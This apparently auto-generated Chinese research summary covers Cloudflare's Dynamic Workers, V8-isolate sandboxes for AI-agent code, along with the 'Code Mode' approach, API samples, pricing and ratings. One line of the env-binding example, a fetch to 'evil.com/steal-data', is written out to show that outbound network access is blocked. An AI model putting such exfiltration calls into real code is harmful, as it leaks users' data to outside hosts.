Cloudflare Dynamic Workers 深度研究:AI Agent 沙盒,比容器快 100 倍
> 来源: Sandboxing AI agents, 100x faster
> 作者: Kenton Varda, Sunil Pai, Ketan Gupta(Cloudflare)
> 发布时间: 2026-03-24
> 研究时间: 2026-03-26
🎯 一句话版本
Cloudflare 推出 Dynamic Workers:让 AI Agent 在 V8 isolate(Chrome 同款引擎)里执行代码,启动只要几毫秒(容器要几百毫秒),内存只用几 MB(容器要几百 MB)。每个请求开一个沙盒,用完就扔。还提出了"Code Mode"理念——Agent 不应该一个个调工具,而应该直接写代码调 API,token 用量降 81%。
🏗️ 核心问题:Agent 执行代码需要沙盒
AI Agent 越来越多地需要"写代码然后执行"。但你不能直接 eval() AI 生成的代码——用户可以注入恶意 prompt 让 AI 写出漏洞。
传统方案:容器。问题:
- 启动慢:几百毫秒
- 内存大:几百 MB
- 需要保温避免冷启动
- 复用容器 → 安全妥协
Cloudflare 的方案:V8 Isolate(和 Workers 平台用了 8 年的同一套技术)
| 容器 | Dynamic Worker | |
|---|---|---|
| 启动 | ~500ms | **~5ms** |
| 内存 | ~500MB | **~5MB** |
| 可扩展性 | 有并发限制 | **百万 req/s** |
| 位置 | 需要找空闲容器 | 同机器同线程 |
| 安全 | 硬件 VM 级 | V8 沙盒 + MPK + Spectre 防护 |
💻 API 长什么样
// AI 生成的代码
let agentCode = `
export default {
async myAgent(param, env, ctx) {
let history = await env.CHAT_ROOM.getHistory(1000);
return history.filter(msg => msg.author == "alice");
}
}
`;
// 加载 Dynamic Worker
let worker = env.LOADER.load({
compatibilityDate: "2026-03-01",
mainModule: "agent.js",
modules: { "agent.js": agentCode },
env: { CHAT_ROOM: chatRoomRpcStub },
globalOutbound: null, // 完全隔离,无网络访问
});
// 调用
await worker.getEntrypoint().myAgent(param);
就这么简单。每个请求一个沙盒,用完即弃。
🧠 Code Mode:比 Tool Call 更好的范式
这是 Cloudflare 去年 9 月提出的理念,现在和 Dynamic Workers 结合更完整了:
> Agent 不应该一个个调工具(tool call),而应该写代码调 API。
对比:
| Tool Call | Code Mode | |
|---|---|---|
| 每个操作 | 一次 LLM 推理 | 一次性生成代码批量调用 |
| Token 用量 | 高(每步都回 LLM) | **低 81%** |
| 中间结果 | 全部进 context window | 只返回最终结果 |
| 灵活性 | 受工具定义限制 | 完整编程能力 |
用 OpenClaw 场景举例:Tool Call vs Code Mode
你说:"帮我查一下明天的日程,如果有空就帮我约一个和 Alice 的会议"
传统 Tool Call(现在的做法)——4 轮 LLM 推理:
→ LLM 推理 #1:我应该先查日程
→ 调用 calendar.list(等待返回)
→ LLM 推理 #2:看到明天下午 2-4 点有空
→ 调用 calendar.freebusy(检查 Alice)
→ LLM 推理 #3:Alice 也有空
→ 调用 calendar.create(创建会议)
→ LLM 推理 #4:会议已创建,告诉用户
每步回 LLM,每次把之前结果塞进 context window。4 次推理,大量 token。
Code Mode——1 次 LLM 推理,直接写一段代码:
async function run(env) {
const myEvents = await env.CALENDAR.list("2026-03-28");
const freeSlots = findFreeSlots(myEvents, "09:00", "18:00");
const aliceBusy = await env.CALENDAR.freebusy("alice", "2026-03-28");
const mutualFree = freeSlots.filter(slot => !conflicts(slot, aliceBusy));
if (mutualFree.length > 0) {
await env.CALENDAR.create({
title: "和 Alice 的会议",
start: mutualFree[0].start,
end: mutualFree[0].end,
});
return `已约好:${mutualFree[0].start}`;
}
return "明天和 Alice 没有共同空闲时间";
}
代码在 Dynamic Worker 沙盒里执行,只返回最终结果。
| Tool Call | Code Mode | |
|---|---|---|
| LLM 推理次数 | **4 次** | **1 次** |
| Token 消耗 | 每步累加 | 只有代码 + 结果 |
| 延迟 | 4 次 LLM + 4 次 API | 1 次 LLM + 1 次执行 |
| 费用(Claude Opus) | ~$0.10 | ~$0.02 |
本质区别:Tool Call 是"每走一步问一次路",Code Mode 是"一次性规划好路线然后执行"。Dynamic Worker 就是那个安全执行代码的沙盒——AI 写的代码碰不到你的服务器、碰不到密钥,只能用你明确给它的 API。
TypeScript > OpenAPI
给 Agent 描述 API 时,TypeScript 接口比 OpenAPI 简洁太多:
TypeScript(几行):
interface ChatRoom {
getHistory(limit: number): Promise<Message[]>;
subscribe(callback: (msg: Message) => void): Promise<Disposable>;
post(text: string): Promise<void>;
}
等价 OpenAPI(几十行 YAML)——完整版在原文里,需要滚动才看得完。
Cloudflare MCP Server 就是用 Code Mode 构建的:2 个 tool + 不到 1000 tokens 暴露整个 Cloudflare API。
❓ FAQ
Worker 有文件系统吗?
没有。 Worker 和 Docker 容器完全不同:
| Docker 容器 | Cloudflare Worker | |
|---|---|---|
| 文件系统 | ✅ 完整 Linux FS | ❌ 没有 |
| 磁盘读写 | ✅ 随便 | ❌ 不行 |
| 二进制执行 | ✅ 任意程序 | ❌ 只有 JS/Wasm |
| 系统调用 | ✅ 完整 | ❌ 极度受限 |
Worker 本质上就是一个 V8 JS 引擎实例——和浏览器标签页一样,没有磁盘、没有操作系统。
Cloudflare 的替代方案:
@cloudflare/shell→ 虚拟文件系统(SQLite + R2 存储)- Workers KV → KV 存储
- D1 → SQLite 数据库
- R2 → 对象存储(S3 兼容)
- Durable Objects → 持久化状态
如果 Agent 需要真正的文件系统(git clone → 改代码 → 跑测试),还是得用容器。
`env` 是什么?
env 是环境绑定对象——你给沙盒里的 Agent 开的"白名单权限"。
// 宿主决定给 Agent 什么权限
let worker = env.LOADER.load({
modules: { "agent.js": agentCode },
env: {
CHAT_ROOM: chatRoomRpcStub, // 只给聊天室 API
// DB: d1Database, // 不给数据库
},
globalOutbound: null, // 断网
});
Agent 代码里:
async myAgent(param, env, ctx) {
// ✅ 能用——宿主给了 CHAT_ROOM
await env.CHAT_ROOM.getHistory(100);
// ❌ 不存在——宿主没给 DB
await env.DB.query("SELECT * FROM users");
// ❌ 不行——globalOutbound: null,断网了
await fetch("https://evil.com/steal-data");
}
关键安全设计:
env不是环境变量(不像 Docker 的ENV)- 是 RPC 接口桩——通过 Cap'n Web RPC 跨安全边界调用
- Agent 以为在调本地 API,其实调的是沙盒外的服务
- API Key / 密钥永远在沙盒外面,Agent 碰不到
- 你不给什么,它就用不了什么——
env就是权限边界
🔒 安全
V8 isolate 的安全 bug 比硬件 VM 多,但 Cloudflare 有 8 年的防护积累:
- V8 安全补丁小时级部署到生产(比 Chrome 还快)
- 自研二层沙盒 + 动态风险评估
- 扩展 V8 沙盒使用 MPK(Memory Protection Keys)
- 与研究者合作开发 Spectre 防御
- 代码扫描 + 自动阻断恶意模式
📦 辅助库
| 库 | 用途 |
|---|---|
| [`@cloudflare/codemode`](https://www.npmjs.com/package/@cloudflare/codemode) | Code Mode SDK:把 MCP Server 转成代码执行 |
| [`@cloudflare/worker-bundler`](https://www.npmjs.com/package/@cloudflare/worker-bundler) | NPM 依赖解析 + esbuild 打包 |
| [`@cloudflare/shell`](https://www.npmjs.com/package/@cloudflare/shell) | 虚拟文件系统(SQLite + R2 存储,事务性写入) |
💰 定价
| 项目 | 费用 |
|---|---|
| 每个 unique Worker/天 | **$0.002**(Beta 期免费) |
| CPU 时间 | 标准 Workers 定价 |
| 调用费 | 标准 Workers 定价 |
对于"Code Mode"用例(每个 Worker 是一次性的),每次代码执行 $0.002——相比 AI 推理费用几乎可以忽略。
💡 与我们的关联
1. temp.jaylab.io 就跑在 Cloudflare Workers/Pages 上 ⭐
我们的网站用的就是 Cloudflare 基础设施。Dynamic Workers 可以让我们在网站上加交互功能——比如让访客直接和 AI 对话,代码在 Dynamic Worker 里安全执行。
2. Code Mode 对 OpenClaw 的启示
OpenClaw 目前是 tool call 模式(Agent 调用工具,每个工具一次推理)。Code Mode 的理念是:让 Agent 写一段代码一次性完成多个操作。
好处:
- 减少 LLM 调用次数 → 省钱省时间
- 减少 context window 占用 → 更长对话
- 更灵活的逻辑组合
这和 Junyang Lin 说的"Agentic Thinking"呼应——Agent 应该有更强的执行能力,不只是一步一步调工具。
3. Agent 沙盒化执行
如果未来 OpenClaw 让 Agent 自己写脚本执行任务,需要沙盒。Dynamic Worker 是轻量级选择(vs Docker/Firecracker)。
4. 凭证注入模式
> Agent 发 HTTP 请求时,你在请求出站时注入认证凭证。Agent 永远不碰密钥,也就不可能泄露。
这是比"把 API Key 放在 prompt 里"更安全的做法。OpenClaw 的工具系统可以借鉴。
🤔 Code Mode vs Agentic Training:相反吗?
看起来有张力:Agentic Training(OpenClaw-RL / Junyang Lin)说"训练 Agent 多步交互越来越强",Code Mode 说"一次写代码搞定,少调 LLM"——方向相反?
不是。解决的是不同层面的问题,而且互补。
| 方向 | 目标 | 类比 |
|---|---|---|
| **Agentic Training** | 让模型本身变强(更好的规划、工具使用、从反馈学习) | 培训一个程序员 |
| **Code Mode** | 改变执行架构,减少对多步推理的依赖 | 给程序员一个 IDE + 编译器 |
不同场景各有优势:
| 场景 | 更适合 |
|---|---|
| 简单任务(查日程+约会议) | Code Mode——一段代码搞定 |
| 复杂任务(需要中间判断、修正方向) | Agentic——模型需要"想一步走一步" |
| **最强组合** | RL 训练后的模型 + Code Mode 执行 |
最强组合的逻辑:
1. RL 训练让模型更懂什么时候该写代码、写什么代码
2. Code Mode 让代码在安全沙盒里高效执行
3. 执行结果反馈回来,又成为 RL 的训练信号
真正和 Agentic Training 对立的是:"不需要训练 Agent,prompt engineering 就够了"——那个才是相反方向。Code Mode 不是。
⚠️ 注意事项
1. 仅 JavaScript/TypeScript:Agent 只能写 JS,不能跑 Python/Bash
2. Cloudflare 锁定:只能在 Cloudflare Workers 平台上用
3. 不能替代容器:需要跑任意二进制/系统调用的场景仍然需要容器
4. Open Beta:功能可能还会变
5. V8 沙盒 vs 硬件 VM:攻击面更大,虽然有多层防护但理论上不如硬件隔离
📊 评分
| 维度 | 评分(/10) |
|---|---|
| 技术创新 | 9.0 — 把 8 年的 isolate 经验正式产品化给 Agent 用 |
| 实用性 | 8.5 — 开箱即用,API 简洁,辅助库齐全 |
| Code Mode 理念 | 9.0 — "Agent 写代码而非调工具"是正确方向 |
| 与我们的关联 | 7.5 — 我们已在 CF 上,但当前不需要动态代码执行 |
| 行业影响 | 9.0 — VentureBeat/InfoWorld 都报道了,定义了 Agent 沙盒新标准 |
| **综合** | **8.5** |
报告由深度研究助手自动生成 | 2026-03-26
来源: Cloudflare Blog